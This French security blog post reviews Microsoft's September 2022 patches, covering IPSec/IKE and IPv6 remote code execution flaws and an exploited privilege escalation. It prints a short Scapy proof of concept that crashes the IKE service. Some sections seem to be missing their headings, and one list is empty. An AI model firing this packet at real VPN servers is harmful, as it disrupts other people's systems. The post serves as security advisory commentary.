20 septembre 2022 CVE Vlad
Ce contenu vous plait
Partagez-le sur les réseaux
Ce mois-ci, le bulletin de sécurité de Microsoft est assez intense, même s'il ne contient rien qui puisse faire paniquer la sécurité mondiale... mais peut-être😉
Si vous avez un serveur Windows qui agit comme une passerelle VPN IPSec, alors il est vulnérable à 2 exécutions de code à distance, permettant un contrôle total, sans authentification.
Si en plus ce serveur est exposé sur Internet... je pense que vous allez passer un mauvais week-end 😉.
Score CVSS : 9.8/10.
https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2022-34721https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2022-34722
En bonus, voici un exploit de non-stabilité qui ne fait que planter le service mais dans quelques heures l'exploit sera de stabilité et exploité dans la nature 😉 : https://github.com/78ResearchLab/PoC/tree/main/CVE-2022-34721
Le code source de l'exploit :
from scapy.all import *
from scapy.contrib.ikev2 import *
from scapy.layers.isakmp import *
import socket, time
target = ("192.168.159.134", 500)
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
pkt = ISAKMP(init_cookie=RandString(8), next_payload=0x84, exch_type=0xf3)
pkt /= ISAKMP_payload(next_payload=0x1, load=b"\x00\x00\x01\x7f")
sock.sendto(raw(pkt), target)
Merci de ne pas le lancer sur des serveurs de production 😄Cette API est accessible par toute application souhaitant journaliser des choses et cette vulnérabilité permet d'élever ses privilèges mais uniquement si l'attaquant dispose déjà d'une première exécution de code ou d'une prise de contrôle partielle de la cible (ou est un utilisateur taquin 😅).
La particularité de cette vulnérabilité est qu'elle a été découverte par plusieurs sociétés de sécurité (Mandiant, Zscaler, Crowdstrike) comme étant exploitée dans la nature. Comprendre : leurs clients ont été piratés et cette vulnérabilité a été utilisée par les attaquants pour faire avancer les attaques ou directement dans leurs logiciels malveillants.
Celle-ci est amusante car si vous avez un système Windows avec IPv6 activé (ce qui est le cas par défaut), alors il est possible de vous envoyer un paquet réseau spécialement formaté résultant en une exécution de code, à distance, sans authentification. Et comme IPv6 est au niveau du noyau, c'est une prise de contrôle totale 🎉.
Score CVSS : 9.8/10.
Sauf erreur de ma part, c'est un paquet routable, donc la vulnérabilité semble pouvoir être exploitée sur Internet. Après, comprenez Microsoft, IPv6 est récent, il n'est supporté par Microsoft que depuis 20 ans 😜 ! (Depuis Windows XP et surtout XP SP1) https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2022-34718
Il existe encore de nombreuses vulnérabilités dont voici quelques unes :
Enfin... il y a des vulnérabilités assez critiques qui doivent être patchées rapidement 😉.
Dernier point amusant, avec ce bulletin, Microsoft corrige sa millième faille de l'année, youhou... bravo... champagne 🍾.
C'est un très bel anniversaire (ironique) pour fêter la publication officielle de la " loi sur la cyber-résilience ". qui obligera les éditeurs à fournir une assistance à la sécurité, des mises à jour de sécurité et une garantie de conformité des produits numériques aux exigences de cybersécurité tout au long de leur cycle de vie. Mais c'est un autre sujet dont nous reparlerons😉 : https://twitter.com/MaliciaRogue/status/1570366397737222144.
Bonne chance 👍
